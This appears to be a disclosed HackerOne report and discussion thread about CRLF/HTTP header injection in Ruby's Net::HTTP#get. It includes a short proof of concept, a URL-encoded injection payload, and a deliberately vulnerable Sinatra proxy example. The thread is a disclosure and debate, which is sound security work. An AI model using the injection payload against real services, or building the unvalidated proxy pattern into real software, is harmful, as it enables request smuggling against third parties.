Ruby HTTP Header Injection

`TIMELINE  
rootredrain submitted a report to Ruby.  
  
show raw  
Jun 22nd  
  
Hi,  
  
I would like to report a HTTP Header injection vulnerability in  
'net/http' that allows attackers to inject arbitrary headers in  
request even create a new evil request.  
  
PoC  
  
require 'net/http'  
http = Net::HTTP.new('192.168.30.214','80')  
res = http.get("/r.php HTTP/1.1\r\nx-injection: memeda")  
  
Example  
  
Server Code:  
  
#!/usr/bin/env ruby  
require 'sinatra'  
require 'uri'  
require 'net/http'  
  
get '/' do  
'hello world'  
end  
  
post '/' do  
ip = params[:ip]  
port = params[:port]  
path = params[:path]  
  
# do what you want  
http = Net::HTTP.new ip, port.to_i  
res = http.get path  
  
res.body  
  
end  
  
post data:  
  
ip=192.168.30.214&port=80&path=/r.php%20HTTP/1.1%0d%0ax-injection: memeda  
  
print_r all HTTP Headers：  
  
Create an evil request  
  
post data:  
  
server log:  
  
Suggestion:  
  
Should validate URI legality before send request  
  
btw，  
  
Cloud I have a CVEID with this vulnerability? reported by  
@redrain([email protected]) and@ztz([email protected])  
  
4 attachments:  
F100918: 123123.png  
F100919: 222333.png  
F100920: 4444.png  
F100921: 5555.png  
  
rootredrain posted a comment.  
Jun 22nd (2 days ago)  
  
The problem is this line in lib/net/http/generic_request.rb:324  
  
def write_header(sock, ver, path)  
buf = "#{@method} #{path} HTTP/#{ver}\r\n"  
each_capitalized do |k,v|  
buf << "#{k}: #{v}\r\n"  
end  
buf << "\r\n"  
sock.write buf  
end  
  
"#{@method} #{path} HTTP/#{ver}\r\n" should be checked here to avoid  
malicious input  
  
shugo posted a comment.  
Jun 24th (8 hrs ago)  
  
Thanks for your report.  
  
We don't consider this a vulnerability because Net::HTTP#get is not  
designed to accept malicious input.  
Applications have responsibility to verify input syntactically and  
semantically (accepting all RFC2616-compliant input would not be a  
good idea).  
  
So we would like to handle this as a normal issue.  
  
rootredrain posted a comment.  
Jun 24th (2 hrs ago)  
  
Hi shugo,  
  
Thanks for the reply. Please don't leave this problem to developers,  
they have uneven level at developing.  
  
For example, assume we have a demo website, the only thing do is  
generate a new HTTP request:  
  
#!/usr/bin/env ruby  
require 'sinatra'  
  
get '/' do  
'hello world'  
end  
  
post '/' do  
ip = params[:ip]  
port = params[:port]  
path = params[:path]  
  
# send the request to another site  
http = Net::HTTP.new ip, port.to_i  
res = http.get path  
  
res.body  
end  
  
It's a common demand, right ?  
  
But web developer may not realized that sinatra will auto decode url.  
Attacker can encode \r\n to %0a%0d, send to the sinatra, sinatra will  
decode url to \r\n and pass to thepath, finally cause a HTTP Header  
Injection or CRLF Injection.  
  
Please assume all input is malicious. Here is a similar vulnerability  
in python: CVE-2016-5699  
  
Here is what another HTTP lib Faraday do may change your mind.  
  
lib/faraday/connection.rb:308  
  
def url_prefix=(url, encoder = nil)  
uri = url_prefix = Utils.URI(url)  
self.path_prefix = uri.path  
# ... ... ...  
uri  
end  
  
uri = url_prefix = Utils.URI(url) try to convert url to URI, It will  
raise an error whenurl is invalid.  
  
lib/faraday/connection.rb:399  
  
def build_exclusive_url(url = nil, params = nil, params_encoder = nil)  
url = nil if url.respond_to?(:empty?) and url.empty?  
base = url_prefix  
# ... ... ...  
uri = url ? base + url : base  
# ... ... ...  
end  
  
uri = url ? base + url : base will trigger another examination convert_to_uri:  
  
def convert_to_uri(uri)  
if uri.is_a?(URI::Generic)  
uri  
elsif uri = String.try_convert(uri)  
parse(uri)  
else  
raise ArgumentError,  
"bad argument (expected URI object or URI string)"  
end  
end  
  
If url is invalid, it will raise an error.  
  
Please let me know if you need more info.  
  
tenderlove posted a comment.  
Jun 24th (2 hrs ago)  
  
It's a common demand, right ?  
  
I'm not sure about that.  
  
I think this is a bug we should probably address, but I don't think we  
should consider this a vulnerability. Fetching arbitrary paths from  
user input seems pretty dubious.  
  
rootredrain posted a comment.  
Jun 24th (about 1 hr ago)  
  
Hi tenderlove,  
  
Here is my point :  
All input can not be trusted.  
  
We should validate url in Net::HTTP  
  
tenderlove posted a comment.  
Jun 24th (about 1 hr ago)  
  
All input can not be trusted.  
  
Yes, people should be whitelisting paths passed in. An open proxy is  
already a vulnerability, regardless of header injection.  
  
As I said, we should treat this as a bug. But since an open proxy is  
already a security problem (that we cannot fix), then I don't think  
this bug should be treated as a security issue.  
  
shugo posted a comment.  
Jun 24th (34 mins ago)  
  
But web developer may not realized that sinatra will auto decode url.  
Attacker can encode \r\n to %0a%0d, send to the sinatra, sinatra will  
decode url to \r\n and pass to the path, finally cause a HTTP Header  
Injection or CRLF Injection.  
  
In that case, it seems to be a bug of that application, not Net::HTTP#get.  
  
I'm not against adding argument verification to Net::HTTP#get, though.  
  
rootredrain posted a comment.  
Jun 24th (29 mins ago)  
  
But since an open proxy is already a security problem  
  
Yes, an open proxy is already a vulnerability and you can't fix that,  
but attack scenarios is not only include an open proxy, but also  
include many other parts.  
  
A site like google image, user can paste image url on it, then site  
will request the resource. It's possible to suffer this attack.  
  
Some video sites allow user reference outside resource. It's possible  
to suffer this attack.  
  
So you can not treat it occur in an unusual scenarios. I still  
consider it was a security issue.  
  
rootredrain posted a comment.  
Jun 24th (27 mins ago)  
  
If you believe this is not a issue, please allow the public disclosure.  
  
tenderlove closed the report and changed the status to Informative.  
Jun 24th (23 mins ago)  
  
I've closed as informative, and I'll allow public disclosure.  
  
tenderlove requested to disclose this report publicly.  
Jun 24th (20 mins ago)  
  
rootredrain has requested mediation from HackerOne Support.  
Jun 24th (15 mins ago)  
  
The HTTP scheme handler accepts percent-encoded values as part of the URL.  
  
The generic_request.rb allows unsafe characters, it dosen't have any  
safe filtration, attackers can cause actual security threat. so we  
consider it is a vulnerability  
  
  
`